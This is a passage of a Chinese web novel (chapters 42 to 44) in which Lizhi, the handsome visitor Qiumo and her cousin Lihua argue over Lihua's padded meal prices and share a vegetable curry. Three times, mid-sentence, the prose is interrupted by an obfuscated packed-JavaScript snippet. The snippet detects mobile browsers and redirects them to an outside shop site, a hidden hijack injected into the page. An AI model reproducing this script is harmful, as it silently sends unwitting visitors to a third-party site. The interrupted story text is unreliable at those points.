“因为没钱的话,不会让你住在这里的,你要搞清楚这点。”梨花说道,“不要以为因为你认识‘荔枝姐’就能网开一面。这是两码事,熟归熟,也不能赖账,要是你打着赖账的主意的话……” “好啦好啦。”秋墨无奈地摇摇头说道,“我不会做出你说的那种事。这可是黎芝的家啊,我怎么会让她难做人呢?” 在梨花的设想里,秋墨就会让自己难做人吗?黎芝一头雾水。 但总而言之,在熟悉地形的梨花以及马的带领下,三人很快回到了“食堂”那里。 “这就是‘民宿’?”不认识路,也不知道黎芝的家的秋墨,对此表示非常困惑,“我怎么看都觉得这里只是单纯的餐馆而已。” “没错。这里只能吃饭。”梨花说道,“但是,现在已经到了该吃饭的时间了,难道你不想吃饭吗?” “想啊。”秋墨说道,“那吃什么呢?” “这个嘛,我去问问再说。”梨花麻利轻快地下了马,把黎芝和秋墨扔在一边,自己跑进了瓦房里。 “为什么你会骑马来这里啊?这马是哪里的?”在这个时候,黎芝终于有机会对秋墨询问各种细节了。 “我本来就有马啊?”秋墨说道,“难道,你觉得我们家的家境,还不足以让我配得起一匹好马吗?我小时候就有马了,现在这匹都已经是第三匹马了呢。” “啊?第三匹了?那之前的都哪里去了呢?”黎芝惊讶地问道。 “卖了吧……不记得了。”秋墨摇摇头。 “你真冷血!”黎芝不由得有些生气地说道,“难道你对过去的马没有什么感情吗?” “没有。”秋墨说道,“有感情的话,我会很难受的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376583|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。因为所有的马肯定都不能陪我太久的,我只会骑年轻矫健的马嘛。和马培养出太深厚的感情也不是一件好事。” “算了,你真冷血。”秋墨的话,其实有一定道理,黎芝也不是不承认这一点。 但是,这不妨碍她对此感到难以接受。 “跟你开玩笑的啦。”秋墨有些无奈地说道,“老马当然是让它在我家养老啊,所以没骑过来而已。难道在你心里,我是这么冷血的人吗?” “我哪里知道?!”黎芝更加不悦地说道,“如果你怕被我误会的话,就不要开玩笑啊!我这人根本分不清玩笑和认真的话的,你说了之后,我当真,这难道是我的错吗?” “好吧。是我的错。”秋墨无奈地说道,“黎芝大小姐,是我不对啦。你大人有大量,原谅小的吧。” 因为秋墨已经道歉了,所以黎芝不好跟他继续发火。 但是,她心里却还在不高兴,因此不知道该怎么接话,只是沉默了下来。 气氛尴尬了一会儿之后,秋墨不管正有些生气的黎芝,径直打听起了近况。 “在这里生活感觉怎么样?”秋墨问道。 黎芝一开始不太想理睬对方,但又想了想,对方已经服软了,再赌气下去就是自己的问题了。 因此,黎芝也就暂且放弃了这种赌气的僵持。 “我才第一天住在这里呀?!”黎芝说道,“昨天下午,我才到这里,算上今天也顶多只有两天而已。这能有什么‘怎么样’啊?我根本还处在‘两眼一抹黑’的阶段呢……” “那太好了。”秋墨爽朗地笑着说道,“听起来,比我想象中的情况还要好一些。” “你想象中的情况是怎样的啊?”黎芝不明白秋墨的意思。 “就是……我想象中,可能会有‘你在这里待了很久了,我才刚打听着骑马过来’这种情况嘛。”秋墨说道,“对你来说可能没有什么影响,但是对我来说非常重要。” “为什么重要?”黎芝不明白秋墨的话。 “因为这样一来,我们两个就都是对这个地方的‘初学者’了。”秋墨说道,“在你还没有把自己变成‘本地人’之间,我就来了,想到这里我就很高兴啊。你不觉得我应该高兴吗?” “为什么我是‘初学者’会让你感到高兴?”感到迷惑的黎芝,继续追问道。 “因为,我想要和你一起成长,和你一起体验未知的人生啊。”秋墨认真地如此回答。 “……”黎芝沉默了。 秋墨的话,让她非常不知所措。 这番话,听起来很“小说”。 但是,黎芝却没有在小说里看到过如何回答这句话的方法。 窘迫、尴尬与困惑等等复杂的感情,让黎芝的心情变得混乱无序。 该怎么回答才好呢? 像木偶一般、僵硬地发呆了一会儿之后,黎芝转过头来,不安地看着秋墨。 “谢谢你哦。”黎芝笨拙地如此回答。 这并不是一个很好的回答,黎芝也意识到了这一点。 但是,黎芝想到的,也只有这一句话、四个字而已。 42. 第 42 章 “为什么黎芝要说谢谢呢?”秋墨不明白地问道。 秋墨的这个问题,也让黎芝不知所措。 果然不该回答“谢谢”吗?但这确实是她的真心感受。 “嗯……”黎芝沉吟着、又想了很久,然后说道,“谢谢你对我的重视,我很高兴。” “你不必谢我。”秋墨轻柔地笑了,“这是我擅自做的决定,本就未曾考虑你的感受。你能理解的话当然最好了,不过,我也已经做好了不被你理解的准备呢。” 黎芝呆然地看着秋墨。 秋墨总是那么美丽,所以他的笑容像羽毛般轻盈。 即使远道而来,风尘仆仆,他依然是漂亮得好像会闪闪发光一样的存在。 在学校上学的时候,黎芝其实没有多少与秋墨近距离相处的机会。 她与他,总是在多少有那么一点遥远的位置,偶然四目相对。 近距离接触的时候,倒是也有。但确实并不常见,持续的时间也尤其短暂。 像这样,距离近到几乎只有一两尺左右的情况,实在很少见。 这种感觉让黎芝感到陌生。 黎芝微微抬起头,看着身段远比自己修长的秋墨。 身高超过五尺一寸的黎芝,很少会觉得自己是娇小玲珑的。 但是,在秋墨身边的她,有时却会对自己的感知动摇。 秋墨很高挑,但或许是由于衣服宽松的缘故,他看起来很瘦。 只看脸的话,他实在美丽得像谪仙一般。 不过,因为鞍马劳顿的关系,难免会显得风尘碌碌、神情疲倦。 但即使如此,秋墨看起来依然像落魄的谪仙一样缥缈脱俗。 (这样的人,适合生活在“仙山琼阁”之中吧。) 黎芝在心里莫名说出了这句话。对自己为何会说出这句话,她也感到茫然。 “这里不适合你。”黎芝不由自主地说道,“虽然你远道而来,直接回去也有些可惜。如果一定要待在这里玩的话……我的建议是,住三天就回去吧。” “你怎么这样……意外地冷淡啊。”秋墨的神情有些委屈,他说道,“我还以为,如果突然出现在你面前的话,你会很高兴呢。莫非只是我‘自作多情’吗?难道说你不想看到我吗?” “‘自作多情’是什么意思啊?!”黎芝露出微愠的表情,说道,“有些词是不能随便乱用的,乱说的话,会让别人误会的!” 黎芝说的“别人”,明面上是梨花,暗地里是她自己。 (我们之间的关系,并没有那么好吧……请不要说这种暧昧的话,我真的会误会的啊。) 如果是家人的话,互相善待是理所当然的。 家人之间关系再好,黎芝也不会因此感到不安。 但秋墨与家人是不同的。 黎芝知道,他和自己的交集本就很淡薄。 她离开京城之后,这交集更是只会变得如蜘蛛丝一般纤细脆弱。 两人已经是两个世界的人了。 既是如此的话,这样的关系是维持不下去的。 由“同学”成为“笔友”,建立起新的关系模式。 虽然从彼此的生活中消失,但依然保持着一定的联系。这已经是黎芝想象的最好结果了。 其他的可能性,实在太过于微弱缥缈。 黎芝无法、也没有勇气去想象这些“可能性”。 听到黎芝斥责一般的话语,秋墨似乎很是震惊。 他呆呆地看着黎芝,流露出像是非常伤心的表情。 由于他的容貌太过秀丽的关系,那表情在他脸上,就显得格外我见犹怜、楚楚动人。 即使称之为“凄艳”,也不为过。 若是看得久了,不但会萌生强烈的罪恶感,甚至会产生近乎心碎的感情。 秋墨悲伤的脸,让黎芝感到窒息。 黎芝没办法继续看下去,就转过头去、移开了目光,避免与秋墨的眼睛对视。 也许是为了逃避精神上的压力吧,黎芝在不知不觉间低下了头。 直到此时,黎芝才突然发现,“食堂”附近的地面,居然并非草地、也不是裸露的土层。 那竟然是,由无数大小不一的石子石块铺就而成的“铺石”路面。 这样的石头路面,看起来有种“庭院”“园林”的韵味,凭白添了无穷风雅。 如果不是怀着忧郁的心情看到的话,黎芝对此一定会感到更为惊艳。 (这里,漂亮得简直不像是餐馆……) “吃饭了!”梨花终于从瓦房跑了出来,她说道,“今天的食物比较特别,不知道你们吃不吃得惯。如果吃不惯的话,可以吃咸菜哦。” “咸菜就算了。”秋墨微笑着说道,“我确实想尝尝那‘特别的食物’。” (变脸这么快?刚刚明明还一副震惊和伤心的模样,梨花一出来,怎么就流露出笑脸了?) 黎芝莫名地烦躁起来。 (难道不是我想多了吗?他和我所想的、那种讨厌的情况并不一样,才是吧……) 其实,根据黎芝对秋墨的认知,他会这么做,明明一点也不会让黎芝意外。而且,这么做才符合秋墨的风格。 在黎芝的记忆里,秋墨在不愿意“得罪”的人面前,总是微笑着,流露出彬彬有礼的模样。 秋墨应该也知道,自己随心所欲、放飞自我时的模样,是不怎么讨喜的。所以,才索性不说话吧。 但是,在黎芝面前,秋墨却会流露出不那么开心、也不够游刃有余的一面。 这一点,有时会让黎芝多少有些郁闷。 在黎芝看来,虽然不知道为什么,但是秋墨好像把仅有的负面感情全留给了她一个人似的。 对此,黎芝的心情难免有些不平衡。但是,她本来也基本习惯了。 即使刚才在伤心沮丧,对其他人也能瞬间变脸,这也是秋墨一向的习惯了。在这种事情上,黎芝本来不应该生气的。 只是,不知道为什么,看到刚刚还在郁闷不已的秋墨,用笑脸回应梨花的那一瞬间,黎芝就是会觉得不爽。 (难道……我的这种心情,是在吃醋吗?) (开什么玩笑?我怎么可能会吃醋呢?) (首先,我根本就不喜欢他诶。所以,我怎么可能会吃不喜欢的人的醋呢?) 黎芝虽然在心里整理了一会儿思绪,但并没有起到什么明显的作用。 她还是很闷闷不乐,并因此再度萌生了对自己的厌烦之情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376584|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 尽管黎芝感到心烦意乱,但他人的世界却依然在照常运转。 梨花正用有些嚣张、又有些吵闹的态度,在和秋墨说话。 “事先说好,即使你打算在我家住宿,伙食也不是可以免费赠送的东西!”梨花说道,“吃饭,你得额外付钱!你要大份还是小份?” 秋墨对此毫无异议,只是问道:“大份的量是多少,小份的量又是多少?” 梨花将两只手的拇指与拇指、食指与食指相接,形成了一个环形。 然后,梨花说道:“这就是小份菜的碗大小。配一碗同样大小的米饭。” (这样的“小份”也太小了吧?这肯定不够吃啊……) 黎芝不安地在心里嘟囔。 “那大份呢?”秋墨似乎也有类似黎芝的不安。 “大份就这么大。”梨花比出了一个约有七寸直径的圆圈,说道,“米饭不限量,但要额外收钱。” 秋墨若有所思地点点头,问道:“那么,大份、小份各是多少钱啊?” “小份要二十文钱。大份四十文钱,米饭十文钱。”梨花流畅地答道。 (这太贵了吧……) 虽然,黎芝还不知道梨花说的午饭是什么食物。 但是,以自家的店面档次,只是一顿午餐就收费五十文钱的话,感觉属实有些贵了。 “那么,我要大份吧。”秋墨看来倒是不觉得贵,他立刻做出准备掏钱的动作。 “我还没说完呢。”梨花理直气壮地说道,“如果是你吃的话,要一钱银子哦!” “为什么啊啊?”这下,秋墨终于露出了迷惑的表情,他问道,“你说的午餐,我虽然不知道是什么东西,但即使卖我五十文钱,我也是理解的。可是,为什么刚说完价钱,到我就餐的时候,就要花一钱银子呢?这是什么道理?我实在不明白啊。” “因为你看着荔枝姐的视线,冒犯了她和我们家,所以要加钱。”梨花理直气壮地说道,“你这种心术不正的人,在我家消费是要翻倍的!这就是我们家的‘规矩’,你明白了吗?” 即使在自己人黎芝听来,梨花的这番言论,也实属蛮不讲理了。 秋墨哪里心术不正了,又哪里用视线冒犯黎芝了? 这些主张,分明全是梨花自己的胡思乱想、甚至信口雌黄而已。 但是,仅仅如此,却似乎已经可以给秋墨“定罪”了的样子。 梨花的言论,让黎芝觉得有些无地自容。 “这个……他虽然不是什么好人……”左思右想之后,黎芝都忍不住想帮腔说话了,她说道,“但是,他确实没有心术不正,也没有对我冒犯啊。况且,就算这样,也不该就餐加钱呀。就算他真的有问题,应该做的也只是直接拒绝接待他而已吧?” “什么啊……我应该还算是好人吧?”秋墨惊讶地看着黎芝,又无奈地说道,“但算了,没关系,你这么说我已经很高兴了。” 秋墨虽然无奈得摇了摇头,但掏钱却果然是非常痛快。 他飞快地掏了一小块碎银出来,递给梨花。 “我没称重这块银子,但应该肯定有一钱以上了。”秋墨说道,“若是多出一些的话,倒也没关系,就当是‘小费’送给你了。” 43. 第 43 章 “小费”这个词,指的是额外给服务人员的一笔小钱。 在大夏,以银子付费的购买力计量方式有两种。 一种是以银子本身的“重量”来计算购买力。 这是传统、老式的做法,一般人都更喜欢以这种方式计算银子的价值。 还有一种新兴的计算方式,官方铸造上面带有图案与数字的扁圆钱币,称为“银币”。 “银币”的价值不取决于它的重量,而是取决于上面的数字,也就是“面额”。 “银币”的优势,是只带上几个大面额的钱币,就算是一大笔钱了。 缺点则是,很多人会拒收这种钱。不按重量来计算价值的钱币,总让很多人感到心里没底。 所以,即使是用惯了“银币”的人,也会随身带着散碎银两,以便交给那些拒收“银币”只收“散碎银两”的人。 而“散碎银两”的存在,就是很方便给小费。也许,很多商家喜欢碎银的原因也与这件事有关。 虽然日常生活中给小费是合理的,黎芝并不想把这个问题放在心上。 但是,在黎芝看来,秋墨平白无故、唐突地给梨花这笔钱,实在有些莫名其妙。 而且,秋墨对此的态度还无比自然。这样一来,黎芝也不好说什么,她只能认为是“愿打愿挨”了。 “好,谢谢你。”梨花从秋墨的手中拈起那块碎银,便直接放进了自己的口袋里,说道,“现在一起去吃饭吧。” 梨花带着秋墨与黎芝,将两人领到了黎芝昨天没去的那间大屋子里。 黎芝这才发现,瓦房里的这间屋子还真大。 比起昨晚吃饭的那间屋子大多了,可以同时放五六张桌子。 在偏僻的“大辉山”,这样的规模,简直可以办一场小型的酒席了吧? (但是,人如果再多一些的话,就只能在露天摆桌椅了。) 黎芝莫名地想到了这个可能性。 在这间大屋子之中,梨花把黎芝与秋墨,引领到了不同的桌子上。 秋墨一人占用一个桌子,黎芝则和梨花共用一张桌子。 这场面真让人有些尴尬,看起来就像在孤立秋墨一样。 如果仅仅到这里的话,如此看来还算正常。 梨花把饭菜端上来的时候,黎芝才明白秋墨是被坑了。 原来,今天的午餐菜色,是一种炖煮得非常烂熟的烩菜。 根据黎芝的观察分析,这种烩菜的主要配料,应该包括但不限于土豆、洋葱、西红柿和胡萝卜,点缀的配菜,则是辣椒丝、葱、姜、蒜。 由于点缀的配菜是最后快起锅的时候放的,颜色和本味都没怎么变。 但主要的那几样配菜,无论是土豆、洋葱、西红柿还是胡萝卜,都已经炖煮到了一碰就碎、近乎融化的程度。 这样软烂的质感,使得这种菜看起来与其说是炖菜,不如说是一锅酱料。 而且,这种菜虽然几乎完全由蔬菜与水分组成,但调料的味道却非常重。 调味实在有点儿咸了。虽然不是忍受不了的咸度,但还是有点儿咸。 除了咸味之外,这道菜还有一种奇特的调料香味。 对此,黎芝很难以描述形容,只觉得接近药味,却又带有独特的浓香,很是诱人。 所以,这道菜根本就是用来拌饭用的酱汁吧。 秋墨买的那一大碗酱汁,要拌多少米饭才能吃完?黎芝想想就觉得无奈了。 看到这一幕,黎芝甚至有心想问问梨花为什么要这么欺骗秋墨了。 但是,还没开口就又忍住了。黎芝冷静下来的时候,就总觉得这种话不该问出口比较好。 心里有很多话,但无人可以商讨的话,也就只能憋在心里了。 于是,黎芝只能无奈地埋头吃着这种奇怪的烩菜。 “这道菜叫什么啊?”吃着吃着,黎芝越想越在意,她说道,“这道菜里似乎放了一种特别的香料,非常奇异,是什么香料,你知道吗?” “荔枝姐没和舅妈打招呼。”但梨花却回答了完全无关的内容。 梨花在意的,似乎是在黎芝眼里完全不重要的事情。虽然只是这种小事情,她看上去却很不高兴的样子。 “妈妈在厨房里吗?”黎芝问道,“如果在的话,我就进去打招呼吧。” “在的哦。”梨花说道,“但是,现在已经开始吃饭了的话,就先不要去打招呼了吧。等荔枝姐吃完饭再说吧。” (那为什么要现在提醒我?是担心我没有把这种事放在心上吗?哎,梨花可真是急性子……) “嗯,我也是这么想的。”黎芝柔和地说道,“没直接去和妈妈打招呼是我不对,刚才有些太着急吃饭了……” “这道菜叫‘咖喱’。”梨花总算开始回答黎芝的问题了,她说道,“里面放的香料,是‘咖喱的粉末’哦。” “‘咖喱’是什么意思啊?”黎芝没有听明白梨花的话语,她问道,“怎么写啊?教教我吧。” “两个字都是口字旁,咖是口字旁一个增加的加,喱是口字旁一个毫厘的厘。”梨花说道,“其实,知道它怎么写,并不重要。这只是南洋话的音译而已,原意为‘炖煮的复合香料’,大概理解成这个意思就差不多了。这不是单纯的一种香料,而是许多种香料混合在一起的味道,其中最重要的成分是‘姜黄’。荔枝姐还有什么想问的吗?” 黎芝想了想,压低了声音,小声说道:“这种菜值二十文钱一小碗吗?是不是有点太贵了啊?是因为那个叫‘咖喱’的香料非常昂贵的关系吗?” 这个菜到底值多少钱,其实不是黎芝想问的,她想问的,只是梨花是不是故意收取了秋墨高价而已。 虽然,就算收取秋墨高价,黎芝也不会阻止的,但她还是十分好奇梨花到底有没有乱收费。 梨花摇了摇头,说道:“啊,那种香料虽然挺贵的,但只是配料能用去多少嘛。当然不是因为放它才成本高的呀。” “用的少和成本高也不矛盾的。”黎芝叹了口气,说道,“比如说,‘藏红花’就非常昂贵。只放一点,成本就很高了。” “我没吃过荔枝姐说的什么藏红花。”梨花摇摇头,说,“但这道菜贵在其他原料上,跟调料价钱关系不大。” “这不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376585|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是烩蔬菜吗?连点肉渣都没有还卖这么贵……”黎芝很不理解。 她舀起几匙“咖喱”,拌在米饭里。虽然可能有点儿咸了,但吃起来着实香甜美味。 “我们这里的蔬菜可比肉贵啊!”梨花立刻说道,“如果蔬菜不那么贵的话,舅妈怎么会想让荔枝姐种菜呢?” “啊?蔬菜会比肉贵?这是真的吗?”梨花的话让黎芝有点懵逼,她说道,“为什么这里的蔬菜很贵呢?” “肉的话,是因为这里到处都是牛羊,如果受伤或生病就会被宰杀嘛。这样一来,肉就总是不断,自然要便宜一些。”梨花说道,“但是,我们这里的人非常不擅长种菜。蔬菜什么的都是从另一个邻近的城镇运送来的,自然很贵了。” “原来是这样吗……也难怪了……”黎芝总算明白了对母亲来说,“能种菜”意味着什么。 其实,在黎芝的感觉里,食用部分不是以绿叶为主的蔬菜,根本算不得正经蔬菜。 根茎类或果实类的蔬菜,只能算得上素菜,但并不是真正的蔬菜。 尤其是土豆、南瓜和番薯之类,那和蔬菜有什么关系?直接称呼为“主食”还差不多。 但是,这种蔬菜比起绿叶蔬菜,更加容易长途运输。 想必,这也是“食堂”里使用的蔬菜都是这一类的原因了。 “所以,我们平时没有绿叶蔬菜可以吃,是这样吗?”意识到这一点,黎芝倒有些焦虑了。 鸡鸭鱼肉之类的东西偶尔吃吃就行了。 没蔬菜的话,日子过得就太苦恼了吧。 “没有哦。”梨花说道,“如果荔枝姐觉得,葱和蒜苗不属于绿叶蔬菜的话,那就没有了。” “嗯……这个问题怎么说呢……”黎芝流畅地说道,“葱是不属于绿叶蔬菜的,因为葱的主要食用部分是葱白。但蒜苗却是属于绿叶蔬菜的,因为它的食用部分就是叶子嘛。蒜苗是大蒜种出来的,它等同于不存在叶子之外的部分,种出蒜苗的大蒜已经不能吃了。所以,蒜苗当然是绿叶蔬菜啦。明白我的意思吗?” “荔枝真聪明啊!”隔壁桌上的秋墨,突然用像是惊叹一般的声音说道,“我怎么想不到这么严密的逻辑呢?真不愧是聪明的荔枝呢!” (为什么你突然插话?梨花还没说话呢……而且,我并不是和你在说话啊?) (还有,“荔枝真聪明”“聪明的荔枝”这种称呼又是什么嘛?) (听起来,简直就像在讽刺我是个傻瓜一样……可傻瓜明明是他自己才对……) “少来了,你好烦啊。而且,这么说话不觉得假吗?”黎芝其实并不想说这种富有攻击性的话,但在秋墨面前,她就是有点按捺不住这种冲动。 大概是因为,她真的很害怕,这种话只是自己的误会吧。 “嗯……其实我也觉得,荔枝姐真的很聪明嘛。”梨花胆怯而又犹豫地说道,“说不好是什么感觉……我就是觉得荔枝姐的想法,跟一般人都不太一样。” “没有啦。”黎芝摇摇头,柔和地笑道,“我倒是真心觉得,我的家人们也都非常聪明呢。也许,这想法就是血缘关系的影响吧?” 44. 第 44 章